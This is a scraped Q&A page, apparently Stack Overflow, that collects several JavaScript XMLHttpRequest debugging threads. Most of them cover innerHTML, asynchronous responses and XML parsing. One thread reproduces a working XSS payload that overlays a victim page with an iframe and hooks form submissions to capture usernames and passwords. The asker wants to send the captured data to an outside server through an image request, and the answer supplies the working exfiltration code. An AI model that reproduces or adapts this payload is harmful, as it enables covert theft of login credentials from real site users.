Javascript XMLHTTP request only works once? - javascript

This is a part of my code:
function addText(id, type){
alert("ID="+id);
alert("TYPE="+type);
var title = getData("title", id);
var text = getData("text", id);
var imageUrl = getData("imageUrl", id);
document.getElementById("contentArea").innerHTML += '<div id="' + id + '"> </div>';
if(type == 1){
allText = html1.responseText;
titleReplace = "K" + id + "title";
textReplace = "K" + id + "text";
imageReplace = "K" + id + "image";
allText.replace("K1title", titleReplace);
allText.replace("K1text", textReplace);
allText.replace("K1image", imageReplace);
}
document.getElementById(id).innerHTML = allText;
document.getElementById(titleReplace).innerHTML = title;
document.getElementById(textReplace).innerHTML = text;
document.getElementById(imageReplace).src = imageUrl;
}
function getData(Parameter, id){
var result = undefined;
var URL = phpGetURL + "?par=" + Parameter + "&id=" + id;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', URL ,false);
xmlhttp.send();
result = xmlhttp.responseText;
xmlhttp.abort();
//lert(result);
return result;
}
And this is a part from the index.php where is call the function 4 times:
<script type="text/javascript" src="js/dataManager.js"></script>
<script type="text/javascript"> addText(1, 1); addText(2, 1); addText(3, 1); addText(4, 1); </script>
The first one displays, the second one displays but not with the replaced text. The fourth and the fifth doesn't display at all.
It's gets the data from a php script that gets it from a MYSQL database.
I don't get it to work.
thx

I had the same issue while working on an extension for chrome.
You should may try to initialize the "XMLHttpRequest()"-instance at the very beginning of your code, so that is only created once.
I'm posting this for others, because i've read that you had to solve this problem fast, years ago... So it is not urgent anymore i guess...

Related

How do I get scripts to work after a xhttps request

So I have a search page that I'm working on that has a given JSON object as a return. When I click the search button, it's supposed to load up the results page (without a refresh), with the JSON parsed and placed neatly in div's using JS (I can't use jQuery) (this code is in ajax_info.html). Everything independently works. However, when I try to use AJAX with JavaScript, it doesn't load. Again, everything works when loaded independently. But right now, no scripts are working inside the script tag of ajax_info.html. Is there a better method that I could use to update the page with the results page without reloading? This is my code:
function loadDoc() {
var setInnerHTML = function(elm, html) {
elm.innerHTML = html;
Array.from(elm.querySelectorAll("script")).forEach( oldScript => {
const newScript = document.createElement("script");
Array.from(oldScript.attributes)
.forEach( attr => newScript.setAttributes(attr.name, attr.value) );
newScript.appendChild(document.createTextNode(oldScript.innerHTML));
oldScript.parentNode.replaceChild(newScript, oldScript);
});
}
console.log('hello');
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200 && xhttp.readyState == XMLHttpRequest.DONE) {
setInnerHTML(document.getElementById("demo"),this.responseText);
console.log(this.responseText);
}
};
xhttp.open("POST", "ajax_info.html", true);
xhttp.send();
}
and this is the relevant code for ajax_info.html:
<script>
alert("hello");
console.log('adfasdf');
const searchResults = {
//Json stuff
}
// console.log(searchResults);
//const obj = JSON.parse(searchResults);
//document.getElementById("demo2").innerHTML = searchResults.response.docs[0].es_description;
let text="";
for(let i=0; i<searchResults.response.docs.length; i++) {
text+="<div class='p-3 border rounded-3'>";
text+="<a href=''>"+ "<strong class='text-primary largeText'>" + searchResults.response.docs[i].es_title + "</strong></a>";
text+="<div class='largeText'>" + searchResults.response.docs[i].es_description + "</div>";
text+="<div>" + searchResults.response.docs[i].author + "</div>";
text+="<div>" + searchResults.response.docs[i].site + "</div>";
text+="<div>" + searchResults.response.docs[i].es_date + "<a class='text-success'> " + searchResults.response.docs[i].site + "</a></div>";
//text+="<a href='url'>"+ searchResults.response.docs[i].es_title + "</a>";
text+="</div>";
//text+=searchResults.response.docs[i].author + "<br>";
//text+=searchResults.response.docs[i].site + "<br>";
//text+=searchResults.response.docs[i].es_date + "<br>";
//text+="<p></p>";
document.getElementById("demo2").innerHTML = text;
console.log(i);
}
//alert(searchResults.response.docs.length);
</script>
demo2 is the id of the div inside of ajax_info and demo is the id of the body of index.html

Javascript variable's output is empty when sent via HTTP Request

I have the following code (NOTE: The code isn't mine, I just want to modify it, here is the source: https://rileykidd.com/2013/06/06/the-xss-who-watched-me/). Here is the code from the website:
(function() {
var d = new Date();
function log(m){
var s = d;
for(i in m){ s += "\n" + i + ":" + m[i] + " "; }
console.log(s);
}
function spoof(k){
window.history.pushState({}, "", k);
}
function hook(){
$('#xss').contents().find('a').bind('click', function() {
log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
spoof($(this).attr('href'));
});
$('#xss').contents().find('form').bind('submit', function() {
var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
log(l);
spoof($(this).attr('action'));
});
}
function poison() {
if (self == top){
$('body').children().hide();
log({"Hooked":document.URL});
$('<iframe id="xss">').attr('src', document.URL).css({
"position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
}).appendTo('body').load(function(){
hook();
});
}
}
function poll() {
if (typeof(jQuery) !== 'undefined') {
clearInterval(interval);
poison();
}
}
if (typeof(jQuery) == 'undefined') {
var s = document.createElement('script');
s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
document.head.appendChild(s);
var interval = setInterval(poll, 50);
} else {
poison();
}
})();
My goal is to modify this code so that I can send a request to http://server.com the following variables: document.URL and $(this).attr('action'), so I added the following code instead of log(l) (line 19):
new Image().src = "http://server.com/file.php?data=" + document.URL + $(this).attr('action');
The problem is whenever I want to make a HTTP Request including this variable $(this).attr('action'), the output of the second variable I get in the server is empty. document.URL works just fine, however the second variable is what I am facing problem with. When I test the variable output into the browser it works perfectly (when executing log(l)), I get:
Current:http://somewebsite.com
Target:/login
utf8:✓
authenticity_token:random
back_url:http://somewebsite.com
username:something#email.com
password:my_secured_password
Now my goal is to send this output into the server.
You probably need to URI-encode your query params:
new Image().src = (
'http://server.com/file.php' +
'?url=' + encodeURIComponent(document.URL) +
'&action=' + encodeURIComponent($(this).attr('action'))
);
If you need to send log output to the server, modify your function log:
function log(m) {
var s = d;
for (i in m) {
s += "\n" + i + ":" + m[i] + " ";
}
console.log(s);
new Image().src = 'http://server.com/file.php?data=' + encodeURIComponent(s);
}

How to parse XML using AJAX in html?

I'm trying to parse XML by using AJAX. However there were a few errors which i got saying my "html is not defined"
Basically what I want to do is to parse a specific amount of data from my XML codes and display it using HTML webpage .
The below is the list of bugs in console when I tried to run the script
at displayCountrylist (test2.html:136)
at handleStatusSuccess (test2.html:61)
at readyStateChangeHandler (test2.html:32)
at XMLHttpRequest.xhttp.onreadystatechange (test2.html:16)
I tried to do everything to debug but still failed. Any one help please?
<html>
<script>
function makeAjaxQueryCountrylist()
{
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function()
{
readyStateChangeHandler(xhttp);
};
xhttp.open("GET", "A3_CtryData_dtd_Sample.xml", true);
xhttp.send();
}
function readyStateChangeHandler(xhttp)
{
if (xhttp.readyState == 4)
{
if(xhttp.status == 200)
{
handleStatusSuccess(xhttp);
}else
{
handleStatusFailure(xhttp);
}
}
}
function handleStatusFailure(xhttp){
var displayDiv = document.getElementById("display");
displayDiv.innerHTML = "XMLHttpRequest failed: status " + xhttp.status;
}
function handleStatusSuccess(xhttp)
{
var xml = xhttp.responseXML;
var countrylistObj = parseXMLCountrylist(xml);
displayCountrylist(countrylistObj);
}
function parseXMLCountrylist(xml)
{
var countrylistObj = {};
var countrylistElement = xml.getElementsByTagName("CountryList")[0];
var recordElementList = countrylistElement.getElementsByTagName("CountryRecord");
countrylistObj.recordList = parseRecordElementList(recordElementList);
return countrylistObj;
}
function parseRecordElementList(recordElementList)
{
var recordList = [];
for(var i=0; i < recordElementList.length; i++)
{
var recordElement = recordElementList[i];
var recordObj = parseRecordElement(recordElement);
recordList.push(recordObj);
}
return recordList;
}
function parseRecordElement(recordElement)
{
var recordObj = {};
var countrycodeElement = recordElement.getElementsByTagName("country-code")[0];
recordObj.countrycode = Number(countrycodeElement.textContent);
var nameElement = recordElement.getElementsByTagName("name")[0];
recordObj.name = nameElement.textContent;
var alpha2Element = recordElement.getElementsByTagName("alpha-2")[0];
recordObj.alpha2 = alpha2Element.textContent;
var alpha3Element = recordElement.getElementsByTagName("alpha-3")[0];
recordObj.alpha3 = alpha3Element.textContent;
var capitalcityElement = recordElement.getElementsByTagName("capital-city")[0];
recordObj.capitalcity = capitalcityElement.textContent;
return recordObj;
}
function displayCountrylist(countrylistObj)
{
for(var i=0; i < countrylistObj.recordList.length; i++)
{
var recordObj = countrylistObj.recordList[i];
html += "country-code: " + recordObj.countrycode;
html += "<br />";
html += "name: " + recordObj.name;
html += "<br />";
html += "alpha-2: " + recordObj.alpha2;
html += "<br />";
html += "alpha-3: " + recordObj.alpha3;
html += "<br />";
html += "capital-city: " + recordObj.capitalcity;
html += "<br />";
}
var displayDiv = document.getElementById("display1");
displayDiv.innerHTML = html;
}
</script>
<body>
<button onClick="makeAjaxQueryCountrylist()"> Region Info I (Format: region-fmt-1.xsl)</button>
<br /><br />
<div id="display1">
</div>
</body>
</html>
There isn't any problem with my XML codes so it has to be some error from here.
You got that error html is not defined because you are using html variable without declaring it. So, before the line
html += "country-code: " + recordObj.countrycode;
you have to write
let html = '';

trying to use data detail in buttons but getting a unexpected error

I am using the following code which displays my items from a database on the screen. I have tried adding a button to each of them using data detail as this is how i am passing data through local storage. However when i run this code i get an error message with an unexpected { in the html += line, can you not do this?
function display(results) {
article = document.getElementById("homeArticle");
var html = '';
for (var i = 0; i < results.length; i++){
var item = results[i];
var name = item.P_NAME;
var description = item.P_DESCRIPTION;
var price = item.P_PRICE;
var quant = item.P_QUANTITY;
// next I add to the string that we want to place on the page
html += '<section id="homePageSection"><div id="test"> <p>Name: ' + name + '</p><p>Description: ' + description + '</p><p>Price: £' + price + '</p><p>Quantity: ' + quant + '</p><button data-detail='{"name":"banana", "cost": "19"}'>Bananas</button></div></section>';
};
article.innerHTML = html;
}
function getItems() {
var xhr = new XMLHttpRequest();
xhr.onload = function() {
var results = JSON.parse(this.responseText);
display(results.rows);
};
xhr.open("GET", "displayData.php");
xhr.send();
}
window.addEventListener("load", getItems);
You need to escape the the ' around your stringed object using backslash.
Like this
'<button data-detail=\'{"name":"banana", "cost": "19"}\'>Bananas</button>'
You would need to escape the single quotes inside your string:
'</p><button data-detail=\'{"name":"banana", "cost": "19"}\'>Bananas</button></div></section>'

onClick events not firinng with innerHTML

Hi I have an issue with onclick events being writen using innerHTML I have tried doing it two ways and both have not work
the function it needs to call is
function loadnewsstory()
{
alert("123456");
}
at the moment it should show the alert box with 123456 but it is not firing.
the function loading it is the following
function newsstories()
{
document.getElementById("activecontent").innerHTML = "<h1 class='newsheader'>Latest News</h1>";
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","test.com?uri=loadnews",false);
xmlhttp.send();
var newsreponse = JSON.parse(xmlhttp.responseText);
var countstories = 0;
for (var i = 0, len = newsreponse.length; i < len; ++i) {
var news = newsreponse[i];
if(i % 2 == 0){
cssclass = "even";
}
else
{
cssclass = "odd";
}
// alert(news.featured_image);
document.getElementById("activecontent").innerHTML += "<div class='news " + cssclass + "'><div class='newstitle'><div class='newstitlecolor'><a href='#' onclick='loadnewsstory();'>" + news.post_title + "</a></div></div><div class='base' style='background: url('" + news.featured_image + "');'><img src='" + news.featured_image + "' style='width:100%; height:100%;' id='news_"+ countstories +"'/></div></div>";
document.getElementById("news_"+countstories).onclick = function(){ loadnewsstory();}
countstories++;
}
}
as you can see I have also ran document.getElementById("news_"+countstories).onclick = function(){ loadnewsstory();} because i read that onclick events could not be written by javascript innerHTML which I know I have been able to do before. If someone else knows of a fix to this issue that would be great. this is for a cordova iphone app
Thanks
EDIT
I have found that this
document.getElementById("activecontent").innerHTML += "<div class='news " + cssclass + "'><a href='javascript:openextlink();'><img src='" + news.featured_image + "' style='width:100%; height:100%;'/></a></div>";
works but it seems to only work on the last news story, am I missing something.
I suspect it's because your request is attempting to read/parse the response from the server too soon here:
xmlhttp.send();
var newsreponse = JSON.parse(xmlhttp.responseText);
Because this is an asyncronus (Ajax) request you need to give the script time to wait for the server to respond. You do this by creating an event handler that waits for the response.
xmlhttp.onreadystatechange=function() { // checks if the state of the request has changed
if (xmlhttp.readyState==4 && xmlhttp.status==200) { // checks that the response is ready
// code to handle the response here
var newsreponse = JSON.parse(xmlhttp.responseText);
// etc.
}
}
Also note that you should create this handler before calling xmlhttp.send();
First of all, appending to innerHTML is usually very bad. If you run the code like something.innerHTML += 'lots of html' in a loop, browser has to update the DOM tree and re-render the page on every iteration. This may greatly slow down the things. Use the buffer string instead.
I also suspect that this might have caused issues with event attachment. Try attaching events after all the divs have been attached to the tree. The code in this case would be something like this:
function newsstories()
{
// Use a variable that would store the newly generated HTML:
var html = "<h1 class='newsheader'>Latest News</h1>";
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","test.com?uri=loadnews",false);
xmlhttp.send();
var newsreponse = JSON.parse(xmlhttp.responseText);
for (var i = 0, len = newsreponse.length; i < len; ++i) {
var news = newsreponse[i];
// Notice the 'var' keyword!
if(i % 2 == 0){
var cssclass = "even";
} else {
var cssclass = "odd";
}
// Append to our buffer variable
html += "<div class='news " + cssclass + "'><div class='newstitle'><div class='newstitlecolor'><a href='#' onclick='loadnewsstory();'>" + news.post_title + "</a></div></div><div class='base' style='background: url('" + news.featured_image + "');'><img src='" + news.featured_image + "' style='width:100%; height:100%;' id='news_"+ i +"'/></div></div>";
}
// Now that new html is ready, insert it into the tree
// and attach events
document.getElementById("activecontent").innerHTML = html;
for (var i = 0, len = newsreponse.length; i < len; ++i) {
var img = document.getElementById('news_'+i);
if(img) img.addEventListener('click', loadnewsstory);
}
}
it was due to z-index in my css that this was not working, I have fixed this by removing z-index:-1 and now all works fine, it is interesting that it was due to a css error that this bug come to alight

Categories